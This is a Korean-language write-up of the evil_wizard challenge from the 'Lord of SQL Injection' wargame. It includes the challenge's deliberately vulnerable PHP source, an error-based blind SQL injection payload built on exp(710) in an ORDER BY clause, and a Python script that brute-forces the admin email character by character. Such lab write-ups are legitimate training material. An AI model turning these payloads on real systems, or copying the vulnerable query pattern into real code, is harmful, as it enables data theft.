LORD OF SQL INJECTION [evil_wizard] 풀이

hell_fire과 코드상에서 다른 점이라면 

 

if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");

 

필터링이 추가된 것밖에 보이지 않는다.

 

덕분에 이전 문제에서 time based sql injection을 사용했던 방법을 이용할 수 없게 되었다.

 

 

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"; // same with hell_fire? really?
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";
 
  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");
  highlight_file(__FILE__);
?>

 

 

이전 문제에서 시도했던 if(id='admin' and length(email)>0,id,score) 이 것은 여전히 참 거짓 구분이 작동이 안된다.

 

 

이번에는 exp(710)을 사용해서 error based sql injection을 사용했다.

 

order by (select exp(710) where 0<(select length(email) where id='admin'))

참이면 결과를 표시하지 않고, 거짓이면 결과를 표시한다.

 

 

https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=(select%20exp(710)%20where%2030=(select%20length(email)%20where%20id=%27admin%27))

이메일의 길이는 30이다.

 

 

글자는 아래와 같은 방법으로 찾으면 된다.

query : select id,email,score from prob_evil_wizard where 1 order by (select exp(710) where 'a'=(select substr(email,1,1) where id='admin'))

 

 

 

import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(30):
    for j in range(len(string)):
        payload = "(select exp(710) where '"+string[j]+"'=(select substr(email,"+str(i+1)+",1) where id='admin'))"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie', 'PHPSESSID=cookie')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        if not "<td>admin</td>" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"